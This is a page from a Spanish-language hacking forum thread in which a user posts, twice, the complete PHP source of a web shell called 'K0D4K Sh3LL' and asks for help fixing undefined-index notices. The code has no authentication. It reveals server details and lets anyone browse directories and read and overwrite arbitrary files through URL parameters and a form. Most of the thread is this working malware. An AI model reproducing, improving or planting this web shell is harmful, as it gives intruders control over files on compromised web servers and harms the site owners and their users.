elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.

 

 


Tema destacado: Introducción a la Factorización De Semiprimos (RSA)


+  Foro de elhacker.net
|-+  Programación
| |-+  Desarrollo Web
| | |-+  PHP (Moderador: #!drvy)
| | | |-+  problema en codigo :(
0 Usuarios y 1 Visitante están viendo este tema.
Páginas: 1 [2] Ir Abajo Respuesta Imprimir
Autor Tema: problema en codigo :(  (Leído 4,686 veces)
Zazú

Desconectado Desconectado

Mensajes: 116


Ver Perfil
Re: problema en codigo :(
« Respuesta #10 en: 2 Agosto 2010, 06:29 am »

Ya se lo solucione ayer por privado ;)


 :silbar:


En línea

Dr [F]

Desconectado Desconectado

Mensajes: 50


[H] Risk T [S] --> Dr [F]


Ver Perfil WWW
Re: problema en codigo :(
« Respuesta #11 en: 3 Agosto 2010, 00:15 am »

Muchas gracias zazú, les dejo el codigo y algo que esta molestando :

Código
  1. <html>
  2. <head>
  3. <title> K0D4K Sh3LL! </title>
  4. <style type="text/css">
  5. body {
  6. background-color:#000000;
  7. cursor:crosshair;
  8.  
  9. font-family:monospace;
  10. }
  11.  
  12. datitos{
  13. color:FF0000;
  14. font-weight:bold;
  15. font-family:verdana;
  16. font-size:15px;
  17. }
  18.  
  19.  
  20. carteles {
  21. font-size:20px;
  22. color:#FF8000;
  23. font-weight:bold;
  24. }
  25.  
  26. directorios{
  27. font-size:small;
  28. font-type:Comic Sans Ms;
  29. font-color:red;
  30. font-family:verdana;
  31. font-weight:bold;
  32. }
  33.  
  34. table
  35. {
  36. font-size:13px;
  37.  border-collapse: collapse;
  38. }
  39.  
  40. th
  41. {
  42.  border-right: 1px solid #000;
  43.  border-bottom: 1px solid #000;
  44.  padding: 0.5em;
  45.  background-color:#FF8000;
  46. }
  47.  
  48. corchetes {
  49. color:#FF0000;
  50. font-family:verdana;
  51. font-size:26px;
  52. font-weight:bold;
  53. font-style:italic;
  54. }
  55.  
  56. signos {
  57. font-weight:bold;
  58. color:#FF8000;
  59. font-size:24px;
  60. }
  61.  
  62. k{
  63. color:#FF0000;
  64. font-size:25px;
  65. font-weight:bold;
  66. font-style:italic;
  67. font-family:verdana;
  68. }
  69.  
  70. cero{
  71. color:#FF8000;
  72. font-size:23px;
  73. font-size:25px;
  74. font-weight:bold;
  75. font-style:italic;
  76. font-family:verdana;
  77. }
  78.  
  79. guion{
  80. color:#FF8000;
  81. font-size:25px;
  82. }
  83.  
  84.  
  85. a:link {
  86. font-size:15px;
  87. color:red;
  88. text-decoration:none;
  89. }
  90. a:visited{
  91. color:red;
  92. text-decoration:none;
  93. }
  94. a:hover {
  95. cursor:crosshair;
  96. color:orange;
  97. text-decoration:none;
  98. font-size:16px;
  99. }
  100.  
  101. datos{
  102. font-size:medium;
  103. color:#FF8000;
  104. font-family:verdana;
  105. }
  106.  
  107.  
  108. </style>
  109. <title> K0D4K Web Sh3LL! </title>
  110. </head>
  111. <body>
  112. <center>
  113. <corchetes>[</corchetes><signos>!</signos><corchetes>]</corchetes>
  114. <k> K</k> <cero>0</cero> <k>D</k> <cero>4</cero> <k>K</k>   <guion>-</guion>   <k>S</k> <cero>H</cero> <k>3</k> <cero>L</cero> <k>L</k> <corchetes>[</corchetes><signos>!</signos><corchetes>]</corchetes></center>
  115.  <br><br>     <center>
  116.  
  117.    <center>     <br><br>
  118. <div style="bottom: 50%%; width: 60%; left: 23%; right: 7%; top: 28%;
  119. visibility: visible; z-index:10; font-family: Courier New; background-color: #000000;border:1.5px orange dashed; text-decoration: none; text-aling: center;">
  120.  
  121. <center>         <br>
  122.  
  123. <a href="?shell=archivo"> Ver Archivos </a><br>
  124. <a href="?shell=datos"> Informacion Del Servidor </a><br>
  125. <a href="?shell=phpinfo"> Link3</a>  <br>
  126. <a href="?shell=creditos">Creditos</a>     <br>
  127.  
  128.  
  129. </div></center></center>
  130. <br>
  131.  
  132. <?php
  133. if($_GET['shell']=="datos") {     // si lo devuelto por shell == datos
  134. $ROOT=$_SERVER["DOCUMENT_ROOT"];     // variable para saber donde esta instalado el wamp
  135. $SADMIN=$_SERVER["SERVER_ADMIN"];           //mail admin
  136. $SELF=$_SERVER["PHP_SELF"];                //
  137. $servers=$_SERVER['SERVER_SOFTWARE'];    //version del software
  138. $ipserver=$_SERVER['SERVER_ADDR'];      //ip del serviodr
  139. $lugarshell=$_SERVER['SCRIPT_FILENAME'];                 //lugar donde esta nuestro archivo
  140. $sname = $_SERVER['SERVER_NAME'];                  // nombre del servidor
  141. $port= $_SERVER['SERVER_PORT'];                  //puerto para realizar la conexion
  142. $hconection= $_SERVER['HTTP_CONNECTION'];
  143. $haceptlanguaje=$_SERVER['HTTP_ACCEPT_LANGUAGE']; //header accept-language
  144. $hencoding=$_SERVER['HTTP_ACCEPT_ENCODING'];      //header encoding
  145. $hcharset =$_SERVER['HTTP_ACCEPT_CHARSET'];        // header charset
  146. $hmetod =$_SERVER['REQUEST_METHOD'];                // header method
  147. $hproto = $_SERVER['SERVER_PROTOCOL'];
  148. echo "<br><br><br><br>";
  149. echo "<carteles>";
  150. echo "Datos del servidor:";
  151. echo "</carteles>";
  152. echo "<br><br><br>";
  153. echo "<datos>";
  154. echo "Version de software: ";
  155. echo "</datos>";
  156. echo "<datitos>";
  157. echo $servers;
  158. echo "</datitos>";
  159. echo "</info>";
  160. echo "<br>";
  161. echo "<datos>";
  162. echo "IP del servidor: ";
  163. echo "</datos>";
  164. echo "<datitos>";
  165. echo $ipserver;
  166. echo "</datitos>";
  167. echo "<br>";
  168. echo "<datos>";
  169. echo "Server name: ";
  170. echo "</datos>";
  171. echo "<datitos>";
  172. echo $sname;
  173. echo "</datitos>";
  174. echo "<br>";
  175. echo "<datos>";
  176. echo "Instalado en: ";
  177. echo "</datos>";
  178. echo "<datitos>";
  179. echo $ROOT;
  180. echo "</datitos><br>";
  181. echo "<datos>";
  182. echo "Directorio shell: ";
  183. echo "</datos>";
  184. echo "<datitos>";
  185. echo $lugarshell;
  186. echo "</datitos>";
  187. echo "<datos><BR>";
  188. echo "Mail Admin: ";
  189. echo "</datos>";
  190. echo "<datitos>";
  191. echo $SADMIN;
  192. echo "</datitos><BR>";
  193. echo "<datos>";
  194. echo "Puerto usado para la conexion: ";
  195. echo "</datos>";
  196. echo "<datitos>";
  197. echo $port;
  198. echo "</datitos>";
  199. echo "</info>";
  200. echo "<br><br><br>";
  201. echo "<carteles>";
  202. echo "Headers:<br><br>";
  203. echo "</carteles>";
  204. echo "<datos>";
  205. echo "Header Connection: ";
  206. echo "</datos>";
  207. echo "<datitos>";
  208. echo $hconection;
  209. echo "</datitos>";
  210. echo "</info><br>";
  211. echo "<datos>";
  212. echo "Header Accept-Language: ";
  213. echo "</datos>";
  214. echo "<datitos>";
  215. echo $haceptlanguaje;
  216. echo "</datitos>";
  217. echo "</info><br>";
  218. echo "<datos>";
  219. echo "Header Encoding: ";
  220. echo "</datos>";
  221. echo "<datitos>";
  222. echo $hencoding;
  223. echo "</datitos>";
  224. echo "</info><br>";
  225. echo "<datos>";
  226. echo "Header Accept-Charset: ";
  227. echo "</datos>";
  228. echo "<datitos>";
  229. echo $hcharset;
  230. echo "</datitos>";
  231. echo "</info><br>";
  232. echo "<datos>";
  233. echo "Header Method: ";
  234. echo "</datos>";
  235. echo "<datitos>";
  236. echo $hmetod;
  237. echo "</datitos>";
  238. echo "</info><br>";
  239. echo "<datos>";
  240. echo "Protocol Version: ";
  241. echo "</datos>";
  242. echo "<datitos>";
  243. echo $hproto;
  244. echo "</datitos>";
  245. echo "</info><br>";
  246. }   //cierro if de si shell == datos
  247. else {                              //de lo contrario (si shell no es == datos
  248.  
  249.  
  250. if(isset($_GET['path'])) {         // si la variable path tiene algo
  251. $path = $_GET['path'];                                              //almaceno en path lo devuelvo por $_get[path]
  252. $dir = dir($path);  // dir = dir(ruta que devolvio get
  253. }     // cierro if
  254. else {      // de lo contrario si no esta definido get path
  255. $path = getcwd();        //$path toma el valor del directorio actual
  256. $dir = dir($path);
  257. }        //cierro else
  258.  
  259. if($_GET['shell'] == "archivo" OR $_GET['path']!== ""  ) {
  260.  
  261. echo "<br>";
  262. echo "<div align=right>";
  263. echo "<table><tr>";
  264. echo "<th>Posicion:</th><th>";
  265. echo "$path";
  266. echo "</th>";
  267. echo "</table>";
  268. echo "</div>";
  269. echo "</chica>";
  270. echo "<br>";
  271.  
  272.           echo "<center>";
  273. echo "<carteles><br>";
  274. echo "Directorios:<br>";
  275. "</carteles>";
  276. $contador = 0;
  277. while ($file = $dir->read()) {
  278. $extension = filetype($path."/".$file);
  279. if ($extension == "dir") {
  280. $contador+=1;
  281. $ruta = urlencode($path."/".$file);
  282. echo "<directorios>";
  283. echo "<a href=?path=".$ruta.">".$file."</a><br>";
  284. }
  285. }
  286. echo "</directorios>";
  287.  
  288. echo "<br><br><carteles>";
  289. echo "Archivos:";
  290. echo "</carteles><br>";
  291. $dir->rewind();
  292. $contador=0;
  293. while($file = $dir->read()) {
  294. $extension=filetype($path."/".$file);
  295. if ($extension !=="dir") {
  296. $contador+=1;
  297. $ruta=urlencode($path."/".$file);
  298. echo "<directorios>";
  299. echo "<a href=?view=".$ruta.">".$file."</a><br>";}}
  300. if ($contador==0) {
  301. echo "No hay archivos en el directorio";
  302. }
  303. echo "<br><br>";
  304. echo "</center>";
  305. $dir->close();
  306. echo "</directorios>";
  307.  
  308.  
  309. if(isset($_GET['view'])) {
  310. $ruta = $_GET['view'];
  311. echo "<h2><font color=orange><center>";
  312. echo "Editando: $ruta";
  313. echo "</font></center></h2>";
  314. echo "<center>";
  315. echo "<form method=POST action=\"\">";
  316.  
  317. echo "<div style=133%><textarea name=\"modi\" cols=35 rows=15>";
  318. $abrir=fopen($ruta,"r");
  319. $texto = fread($abrir, filesize($ruta));
  320. echo "</textarea></div>";
  321.  
  322. echo "<input type=submit name=\"Change\" value=\"Editar\">";
  323. echo "</form>";
  324. echo "</center>";
  325. if(isset($_POST['Change'])) {
  326. $arc=fopen($ruta, "w+");
  327. $txt=$_POST['modi'];
  328. @$ok = fwrite($arc,$txt);
  329. }
  330. }
  331. }
  332.  
  333. if($_GET['shell'] == "creditos") {
  334. header("location: http://www.kodakwebshell.blogspot.com/search/labels/creditos");
  335.  
  336. }
  337. }
  338. ?>
  339. </body>
  340. </html>

Bueno, les comento el problema:

al ir a la pestaña informacion del servidor, ningun problema, pero
cuando vamos a ver archivos y empezamos a explorar rutas, saltan diferentes errores:


Código:
Notice: Undefined index: shell in C:\wamp\www\shel\kodak.php on line 133

Notice: Undefined index: shell in C:\wamp\www\shel\kodak.php on line 259

y cuando utilizamos la variable view= para modificar los archivos estos:

Código:

Notice: Undefined index: shell in C:\wamp\www\shel\kodak.php on line 133

Notice: Undefined index: shell in C:\wamp\www\shel\kodak.php on line 259

Notice: Undefined index: path in C:\wamp\www\shel\kodak.php on line 259

ya se que me van a decir, es que no definiste las variables, pero el problema es qe no se como hacerlo, ya probe añadiendo un par de OR a las sentencias anteriores y nada :/
Muchas gracias :)w

disculpen que reabra el tema :=(         :-[
saludos  :D


En línea

"Una vulnerabilidad es tan limitada como tu quieres que lo sea"

[H] Risk T --> Dr [F]
Shell Root
Moderador Global
***
Desconectado Desconectado

Mensajes: 3.723


<3


Ver Perfil WWW
Re: problema en codigo :(
« Respuesta #12 en: 3 Agosto 2010, 00:35 am »

Por lo menos YO, no miraré el código, hasta que por lo menos lo tengas ordenado. Es muy difícil verlo así como lo tienes. Además de especificar las lineas en las que se dá el error.
En línea

Por eso no duermo, por si tras mi ventana hay un cuervo. Cuelgo de hilos sueltos sabiendo que hay veneno en el aire.
Dr [F]

Desconectado Desconectado

Mensajes: 50


[H] Risk T [S] --> Dr [F]


Ver Perfil WWW
Re: problema en codigo :(
« Respuesta #13 en: 3 Agosto 2010, 03:33 am »

Shell te ordene el code  ;) cuando tenngas un minuto, mira el post anterior y respondeme  :silbar: jaja


Código
  1. <html>
  2. <head>
  3. <title> K0D4K Sh3LL! </title>
  4.  
  5. <style type="text/css">
  6.  
  7.  
  8. body {
  9.  
  10. background-color:#000000;
  11. cursor:crosshair;
  12. font-family:monospace;
  13. }
  14.  
  15. datito {
  16.  
  17. color:FF0000;
  18. font-weight:bold;
  19. font-family:verdana;
  20. font-size:15px;
  21. }
  22.  
  23.  
  24. cartele {
  25.  
  26. font-size:20px;
  27. color:#FF8000;
  28. font-weight:bold;
  29. }
  30.  
  31. directorio {
  32.  
  33. font-size:small;
  34. font-type:Comic Sans Ms;
  35. font-color:red;
  36. font-family:verdana;
  37. font-weight:bold;
  38.  
  39. }
  40.  
  41. table {
  42.  
  43. font-size:13px;
  44. border-collapse: collapse;
  45.  
  46. }
  47.  
  48. th {
  49. border-right: 1px solid #000;
  50. border-bottom: 1px solid #000;
  51. padding: 0.5em;
  52. background-color:#FF8000;
  53.  
  54. }
  55.  
  56. corchetes {
  57.  
  58. color:#FF0000;
  59. font-family:verdana;
  60. font-size:26px;
  61. font-weight:bold;
  62. font-style:italic;
  63. }
  64.  
  65. signos {
  66.  
  67. font-weight:bold;
  68. color:#FF8000;
  69. font-size:24px;
  70. }
  71.  
  72. k {
  73.  
  74. color:#FF0000;
  75. font-size:25px;
  76. font-weight:bold;
  77. font-style:italic;
  78. font-family:verdana;
  79. }
  80.  
  81. cero {
  82.  
  83. color:#FF8000;
  84. font-size:23px;
  85. font-size:25px;
  86. font-weight:bold;
  87. font-style:italic;
  88. font-family:verdana;
  89. }
  90.  
  91. guion {
  92.  
  93. color:#FF8000;
  94. font-size:25px;
  95. }
  96.  
  97.  
  98. a:link {
  99.  
  100. font-size:15px;
  101. color:red;
  102. text-decoration:none;
  103. }
  104.  
  105. a:visited {
  106.  
  107. color:red;
  108. text-decoration:none;
  109.  
  110. }
  111.  
  112. a:hover {
  113.  
  114. cursor:crosshair;
  115. color:orange;
  116. text-decoration:none;
  117. font-size:16px;
  118. }
  119.  
  120. datos {
  121.  
  122. font-size:medium;
  123. color:#FF8000;
  124. font-family:verdana;
  125. }
  126.  
  127.  
  128. </style>
  129. </head>
  130. <body>
  131. <center>
  132. <corchetes>[</corchetes> <signos>!</signos> <corchetes>]</corchetes> <k> K</k> <cero>0</cero> <k>D</k>
  133. <cero>4</cero> <k>K</k>   <guion>-</guion>   <k>S</k> <cero>H</cero> <k>3</k> <cero>L</cero> <k>L</k> <corchetes>[</corchetes><signos>!</signos><corchetes>]</corchetes></center>
  134. <br><br>    
  135. </center>
  136. <center>    
  137. <br>
  138. <br>
  139.  
  140. <div style="bottom: 50%%; width: 60%; left: 23%; right: 7%; top: 28%;
  141. visibility: visible; z-index:10; font-family: Courier New; background-color: #000000;border:1.5px orange dashed; text-decoration: none; text-aling: center;">
  142.  
  143. <br>
  144.  
  145. <a href="?shell=archivo"> Ver Archivos</a>
  146. <br>
  147. <a href="?shell=datos"> Informacion Del Servidor</a>
  148. <br>
  149. <a href="?shell=phpinfo"> Link3</a>
  150. <br>
  151. <a href="?shell=creditos">Creditos</a>
  152. <br>
  153.  
  154.  
  155. </div>
  156. </center>
  157. </center>
  158. <br>
  159.  
  160. <?php
  161. if($_GET['shell']=="datos") {     // si lo devuelto por shell == datos
  162. $ROOT=$_SERVER["DOCUMENT_ROOT"];     // variable para saber donde esta instalado el wamp
  163. $SADMIN=$_SERVER["SERVER_ADMIN"];           //mail admin
  164. $SELF=$_SERVER["PHP_SELF"];                //
  165. $servers=$_SERVER['SERVER_SOFTWARE'];    //version del software
  166. $ipserver=$_SERVER['SERVER_ADDR'];      //ip del serviodr
  167. $lugarshell=$_SERVER['SCRIPT_FILENAME'];                 //lugar donde esta nuestro archivo
  168. $sname = $_SERVER['SERVER_NAME'];                  // nombre del servidor
  169. $port= $_SERVER['SERVER_PORT'];                  //puerto para realizar la conexion
  170. $hconection= $_SERVER['HTTP_CONNECTION'];
  171. $haceptlanguaje=$_SERVER['HTTP_ACCEPT_LANGUAGE']; //header accept-language
  172. $hencoding=$_SERVER['HTTP_ACCEPT_ENCODING'];      //header encoding
  173. $hcharset =$_SERVER['HTTP_ACCEPT_CHARSET'];        // header charset
  174. $hmetod =$_SERVER['REQUEST_METHOD'];                // header method
  175. $hproto = $_SERVER['SERVER_PROTOCOL'];
  176.  
  177.  
  178. echo "<br><br><br><br>";
  179. echo "<carteles>";
  180. echo "Datos del servidor:";
  181. echo "</carteles>";
  182. echo "<br><br><br>";
  183. echo "<datos>";
  184. echo "Version de software: ";
  185. echo "</datos>";
  186. echo "<datitos>";
  187. echo $servers;
  188. echo "</datitos>";
  189. echo "</info>";
  190. echo "<br>";
  191. echo "<datos>";
  192. echo "IP del servidor: ";
  193. echo "</datos>";
  194. echo "<datitos>";
  195. echo $ipserver;
  196. echo "</datitos>";
  197. echo "<br>";
  198. echo "<datos>";
  199. echo "Server name: ";
  200. echo "</datos>";
  201. echo "<datitos>";
  202. echo $sname;
  203. echo "</datitos>";
  204. echo "<br>";
  205. echo "<datos>";
  206. echo "Instalado en: ";
  207. echo "</datos>";
  208. echo "<datitos>";
  209. echo $ROOT;
  210. echo "</datitos><br>";
  211. echo "<datos>";
  212. echo "Directorio shell: ";
  213. echo "</datos>";
  214. echo "<datitos>";
  215. echo $lugarshell;
  216. echo "</datitos>";
  217. echo "<datos><BR>";
  218. echo "Mail Admin: ";
  219. echo "</datos>";
  220. echo "<datitos>";
  221. echo $SADMIN;
  222. echo "</datitos><BR>";
  223. echo "<datos>";
  224. echo "Puerto usado para la conexion: ";
  225. echo "</datos>";
  226. echo "<datitos>";
  227. echo $port;
  228. echo "</datitos>";
  229. echo "</info>";
  230. echo "<br><br><br>";
  231. echo "<carteles>";
  232. echo "Headers:<br><br>";
  233. echo "</carteles>";
  234. echo "<datos>";
  235. echo "Header Connection: ";
  236. echo "</datos>";
  237. echo "<datitos>";
  238. echo $hconection;
  239. echo "</datitos>";
  240. echo "</info><br>";
  241. echo "<datos>";
  242. echo "Header Accept-Language: ";
  243. echo "</datos>";
  244. echo "<datitos>";
  245. echo $haceptlanguaje;
  246. echo "</datitos>";
  247. echo "</info><br>";
  248. echo "<datos>";
  249. echo "Header Encoding: ";
  250. echo "</datos>";
  251. echo "<datitos>";
  252. echo $hencoding;
  253. echo "</datitos>";
  254. echo "</info><br>";
  255. echo "<datos>";
  256. echo "Header Accept-Charset: ";
  257. echo "</datos>";
  258. echo "<datitos>";
  259. echo $hcharset;
  260. echo "</datitos>";
  261. echo "</info><br>";
  262. echo "<datos>";
  263. echo "Header Method: ";
  264. echo "</datos>";
  265. echo "<datitos>";
  266. echo $hmetod;
  267. echo "</datitos>";
  268. echo "</info><br>";
  269. echo "<datos>";
  270. echo "Protocol Version: ";
  271. echo "</datos>";
  272. echo "<datitos>";
  273. echo $hproto;
  274. echo "</datitos>";
  275. echo "</info><br>";
  276. }  
  277.  
  278. else {                          
  279.  
  280.  
  281. if(isset($_GET['path'])) {      
  282.  
  283. $path = $_GET['path'];                                          
  284. $dir = dir($path);  
  285. }    
  286. else {      
  287. $path = getcwd();      
  288. $dir = dir($path);
  289. }      
  290.  
  291. if($_GET['shell'] == "archivo" OR $_GET['path']!== ""  ) {
  292.  
  293. echo "<br>";
  294. echo "<div align=right>";
  295. echo "<table><tr>";
  296. echo "<th>Posicion:</th><th>";
  297. echo "$path";
  298. echo "</th>";
  299. echo "</table>";
  300. echo "</div>";
  301. echo "</chica>";
  302. echo "<br>";
  303.        echo "<center>";
  304. echo "<carteles><br>";
  305. echo "Directorios:<br>";
  306. echo "</carteles>";
  307. $contador = 0;
  308. while ($file = $dir->read()) {
  309. $extension = filetype($path."/".$file);
  310. if ($extension == "dir") {
  311. $contador+=1;
  312. $ruta = urlencode($path."/".$file);
  313. echo "<directorios>";
  314. echo "<a href=?path=".$ruta.">".$file."</a><br>";
  315.  
  316. }
  317.  
  318. }
  319.  
  320. echo "</directorios>";
  321. echo "<br><br><carteles>";
  322. echo "Archivos:";
  323. echo "</carteles><br>";
  324. $dir->rewind();
  325. $contador=0;
  326. while($file = $dir->read()) {
  327. $extension=filetype($path."/".$file);
  328. if ($extension !=="dir") {
  329. $contador+=1;
  330. $ruta=urlencode($path."/".$file);
  331. echo "<directorios>";
  332. echo "<a href=?view=".$ruta.">".$file."</a><br>";}}
  333. if ($contador==0) {
  334. echo "No hay archivos en el directorio";
  335. }
  336.  
  337. echo "<br><br>";
  338. echo "</center>";
  339. $dir->close();
  340. echo "</directorios>";
  341.  
  342.  
  343. if(isset($_GET['view'])) {
  344. $ruta = $_GET['view'];
  345. echo "<h2><font color=orange><center>";
  346. echo "Editando: $ruta";
  347. echo "</font></center></h2>";
  348. echo "<center>";
  349. echo "<form method=POST action=\"\">";
  350. echo "<div style=133%><textarea name=\"modi\" cols=35 rows=15>";
  351. $abrir=fopen($ruta,"r");
  352. $texto = fread($abrir, filesize($ruta));
  353. echo htmlentities($texto);
  354. echo "</textarea></div>";
  355. echo "<input type=submit name=\"Change\" value=\"Editar\">";
  356. echo "</form>";
  357. echo "</center>";
  358. if(isset($_POST['Change'])) {
  359. $arc=fopen($ruta, "w+");
  360. $txt=$_POST['modi'];
  361. @$ok = fwrite($arc,$txt);
  362. }
  363. }
  364. }
  365.  
  366. if($_GET['shell'] == "creditos") {
  367. header("location: http://www.kodakwebshell.blogspot.com/search/labels/creditos");
  368.  
  369. }
  370. } //cierro el primer if de control
  371. ?>
  372. </body>
  373. </html>
  374.  
  375.  

Por cierto los errores se encuentran en:

Código:
Notice: Undefined index: shell in C:\wamp\www\shel\kodak.php on line 161

Notice: Undefined index: shell in C:\wamp\www\shel\kodak.php on line 291

Notice: Undefined index: path in C:\wamp\www\shel\kodak.php on line 291

line 161:

Código:
if($_GET['shell']=="datos") {

line 291:
Código:
if($_GET['shell'] == "archivo" OR $_GET['path']!== ""  ) {

Saludos :) ;-)
En línea

"Una vulnerabilidad es tan limitada como tu quieres que lo sea"

[H] Risk T --> Dr [F]
Shell Root
Moderador Global
***
Desconectado Desconectado

Mensajes: 3.723


<3


Ver Perfil WWW
Re: problema en codigo :(
« Respuesta #14 en: 3 Agosto 2010, 03:46 am »

jjojo que raro a mí no me aparece ningún error.
En línea

Por eso no duermo, por si tras mi ventana hay un cuervo. Cuelgo de hilos sueltos sabiendo que hay veneno en el aire.
Páginas: 1 [2] Ir Arriba Respuesta Imprimir 

Ir a:  

Mensajes similares
Asunto Iniciado por Respuestas Vistas Último mensaje
[C] Problema GNUPlot con código C
Programación C/C++
valen7valverde 0 2,337 Último mensaje 8 Mayo 2020, 04:31 am
por valen7valverde
WAP2 - Aviso Legal - Powered by SMF 1.1.21 | SMF © 2006-2008, Simple Machines